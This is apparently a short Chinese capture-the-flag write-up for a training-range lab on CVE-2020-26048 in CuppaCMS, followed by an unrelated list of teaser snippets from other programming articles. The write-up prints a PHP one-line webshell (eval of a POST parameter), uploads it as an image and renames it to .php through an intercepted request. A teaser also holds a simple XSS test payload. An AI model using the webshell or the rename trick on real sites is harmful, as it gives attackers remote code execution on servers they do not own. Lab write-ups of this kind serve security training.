春秋云境CVE-2020-26048
简介
CuppaCMS是一套内容管理系统（CMS）。 CuppaCMS 2019-11-12之前版本存在安全漏洞，攻击者可利用该漏洞在图像扩展内上传恶意文件，通过使用文件管理器提供的重命名函数的自定义请求，可以将图像扩展修改为PHP，从而导致远程任意代码执行。
正文
1.进入靶场
2.弱口令登录admin\admin
3.上传一句话木马图片
<?php @eval($_POST['cmd']);?>
4.删除配置文件
5.重命名图片，抓包更改文件后缀
6.蚁剑连接
7.得到flag
相关文章：
春秋云境CVE-2020-26048
简介 CuppaCMS是一套内容管理系统（CMS）。 CuppaCMS 2019-11-12之前版本存在安全漏洞，攻击者可利用该漏洞在图像扩展内上传恶意文件，通过使用文件管理器提供的重命名函数的自定义请求，可以将图像扩展修改为PHP…...
MySQL 带游标的存储过程（实验报告）
一、实验名称： 带游标的存储过程 二、实验日期： 2024 年 5月 25 日 三、实验目的： 掌握MySQL带游标的存储过程的创建及调用； 四、实验用的仪器和材料： 硬件：PC电脑一台； 配置࿱…...
结构体（位段）内存分配
结构体由多个数据类型的成员组成。那编译器分配的内存是不是所有成员的字节数总和呢？ 首先，stu的内存大小并不为29个字节，即证明结构体内存不是所有成员的字节数和。 其次，stu成员中sex的内存位置不在21，即可推测…...
基于SSH的母婴用品销售管理系统带万字文档
文章目录 母婴商城系统一、项目演示二、项目介绍三、系统部分功能截图四、万字论文参考五、部分代码展示六、底部获取项目源码和万字论文参考（9.9￥带走） 母婴商城系统 一、项目演示 母婴商城系统 二、项目介绍 基于SSH的母婴商城系统 系统…...
说些什么好呢
大一：提前学C和C。学完语法去洛谷或者Acwing二选一，刷300道左右题目。主要培养编程思维，让自己的逻辑能够通过代码实现出来。 现在对算法有点感兴趣但是没有天赋，打不了acm，为就业做准备咯。 大二(算法竞赛)࿱…...
1301-习题1-1高等数学
1. 求下列函数的自然定义域 自然定义域就是使函数有意义的定义域。 常见自然定义域： 开根号 x \sqrt x x ： x ≥ 0 x \ge 0 x≥0自变量为分式的分母 1 x \frac{1}{x} x1： x ≠ 0 x \ne 0 x0三角函数 tan x cot x \tan x \cot x …...
C语言之指针进阶（3），函数指针
目录 前言： 一、函数指针变量的概念 二、函数指针变量的创建 三、函数指针变量的使用 四、两段特殊代码的理解 五、typedef 六、函数指针数组 总结： 前言： 本文主要讲述C语言指针中的函数指针，包括函数指针变量的概念、创建…...
RabbitMQ安装及配套Laravel使用
MQ MQ 全称 Message Queue（消息队列），是在消息的传输过程中保存消息的容器。多用于系统之间的异步通信。 为什么需要mq: 解耦：MQ能够使各个系统或组件之间解耦，降低它们之间的耦合度，提高系统的灵活性和可维护性异步处理：通过MQ可以实现异步处理，提高系统响应速度和吞…...
java在类的定义中创建自己的对象?
当在main方法中新建自身所在类的对象，并调用main方法时，会不断循环调用main方法，直到栈溢出 package com.keywordStudy;public class mainTest {static int value 33;public static void main(String[] args) throws Exception{String[] sn…...
掌握C++回调：按值捕获、按引用捕获与弱引用
文章目录 一、按引用捕获和按值捕获1.1 原理1.2 案例 二、弱引用2.1 原理2.2 案例一2.3 案例二：使用base库的弱引用 三、总结 在C回调中，当使用Lambda表达式捕获外部变量时，有两种捕获方式：按值捕获和按引用捕获。 一、按引用捕获…...
抖音运营_如何做出优质的短视频
目录 一 短视频内容的构成 1 图像 2 字幕 3 声音 4 特效 5 描述 6 评论 二 短视频的热门类型 1 颜值圈粉类 2 知识教学类 3 幽默搞笑类 4 商品展示类 5 才艺技能类 6 评论解说类 三 热门短视频的特征 1 产生共鸣 2 正能量 3 紧跟热点话题 4 富有创意 四 短视…...
Day21：Leetcode513.找树左下角的值 +112. 路径总和 113.路径总和ii + 106.从中序与后序遍历序列构造二叉树
LeetCode：513.找树左下角的值 解决方案： 1.思路 在遍历一个节点时，需要先把它的非空右子节点放入队列，然后再把它的非空左子节点放入队列，这样才能保证从右到左遍历每一层的节点。广度优先搜索所遍历的最后一个节点…...
)
Java数据结构和算法(B树)
前言 B树又叫平衡的多路搜索树；平衡的意思是又满足平衡二叉树的一些性质，左树大于右树； 多路意思是，可以多个结点，不再是像二叉树只有两个结点； 实现原理 B树是一种自平衡的搜索树，通常用于实…...
成为程序员后我都明白了什么？从入行到弃坑？
作为一个入行近10年的php程序员，真心感觉一切都才刚开始，对计算机，编程语言的理解也好，程序员中年危机也罢，之前都是听别人说的，真的自己到了这个水平，这个年龄才深刻体会到这其中的种种。 我一…...
python --创建固定字符串长度,先进先出
a 123def concatenate_within_limit(b, new_string):# 计算新字符串与a的长度之和a btotal_length len(a) len(new_string)# 如果长度超过1024，从前面删除足够的字符if total_length > 5:diff total_length - 5a a[diff:] new_string # 删除前diff个字符…...
容器化部署
目录 docker容器化部署 怎样使用Docker Compose或Kubernetes等容器编排工具来管理和扩展联邦学习系统 使用Docker Compose...
国产数据库TiDB的常用方法
TiDB的常用方法主要涉及安装配置、数据操作、性能调优以及监控和维护等方面。以下是对这些常用方法的归纳和介绍： 1. 安装与配置 安装TiDB：根据官方文档的指引，用户可以按照步骤进行TiDB的安装。配置TiDB：安装完成后，…...
基于DdddOcr通用验证码离线本地识别SDK搭建个人云打码接口Api
前言 最近介绍了一款免费的验证码识别网站，识别效率太低，考虑到ddddocr是开源的，决定搭建搭建一个，发现原作者sml2h3已经推出好久了，但是网上没有宝塔安装的教程，于是本次通过宝塔搭建属于自己的带带弟弟OCR通用验证码离线本地识别 原项目地址：https://github.com/sml2…...
2、xss-labs之level2
1、打开页面 2、传入xss代码 payload：<script>alert(xss)</script>，发现返回<script>alert(xss)</script> 3、分析原因 打开f12，没什么发现 看后端源码，在这form表单通过get获取keyword的值赋给$str&am…...
人才测评的应用：人才选拔，岗位晋升，面试招聘测评
人才测评自诞生以来，就被广泛应用在各大方面，不仅是我们熟悉的招聘上，还有其他考核和晋升，都会需要用到人才测评。不知道怎么招聘？或者不懂得如何实现人才晋升？都可以参考人才测评，利用它帮我们…...
css实现圆环展示百分比，根据值动态展示所占比例
代码如下 <view class""><view class"circle-chart"><view v-if"!!num" class"pie-item" :style"{background: conic-gradient(var(--one-color) 0%,#E9E6F1 ${num}%),}"></view><view v-else …...
【JVM】- 内存结构
引言 JVM：Java Virtual Machine 定义：Java虚拟机，Java二进制字节码的运行环境好处： 一次编写，到处运行自动内存管理，垃圾回收的功能数组下标越界检查（会抛异常，不会覆盖到其他代码…...
LeetCode - 394. 字符串解码
题目 394. 字符串解码 - 力扣（LeetCode） 思路 使用两个栈：一个存储重复次数，一个存储字符串 遍历输入字符串： 数字处理：遇到数字时，累积计算重复次数左括号处理：保存当前状态&a…...
什么？连接服务器也能可视化显示界面？：基于X11 Forwarding + CentOS + MobaXterm实战指南
文章目录 什么是X11？环境准备实战步骤1️⃣ 服务器端配置（CentOS）2️⃣ 客户端配置（MobaXterm）3️⃣ 验证X11 Forwarding4️⃣ 运行自定义GUI程序(Python示例)5️⃣ 成功效果
智能分布式爬虫的数据处理流水线优化：基于深度强化学习的数据质量控制
在数字化浪潮席卷全球的今天，数据已成为企业和研究机构的核心资产。智能分布式爬虫作为高效的数据采集工具，在大规模数据获取中发挥着关键作用。然而，传统的数据处理流水线在面对复杂多变的网络环境和海量异构数据时，常出现数据质…...
dify打造数据可视化图表
一、概述 在日常工作和学习中，我们经常需要和数据打交道。无论是分析报告、项目展示，还是简单的数据洞察，一个清晰直观的图表，往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server，由蚂蚁集团 AntV 团队…...
稳定币的深度剖析与展望
一、引言 在当今数字化浪潮席卷全球的时代，加密货币作为一种新兴的金融现象，正以前所未有的速度改变着我们对传统货币和金融体系的认知。然而，加密货币市场的高度波动性却成为了其广泛应用和普及的一大障碍。在这样的背景下，稳定…...
初学 pytest 记录
安装 pip install pytest用例可以是函数也可以是类中的方法 def test_func():print()class TestAdd: # def __init__(self): 在 pytest 中不可以使用__init__方法 # self.cc 12345 pytest.mark.api def test_str(self):res add(1, 2)assert res 12def test_int(self):r…...
服务器--宝塔命令
一、宝塔面板安装命令 ⚠️ 必须使用 root 用户 或 sudo 权限执行！ sudo su - 1. CentOS 系统： yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh2. Ubuntu / Debian 系统…...
DingDing机器人群消息推送
文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人，点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置，详见说明文档 成功后，记录Webhook 2 API文档说明 点击设置说明 查看自…...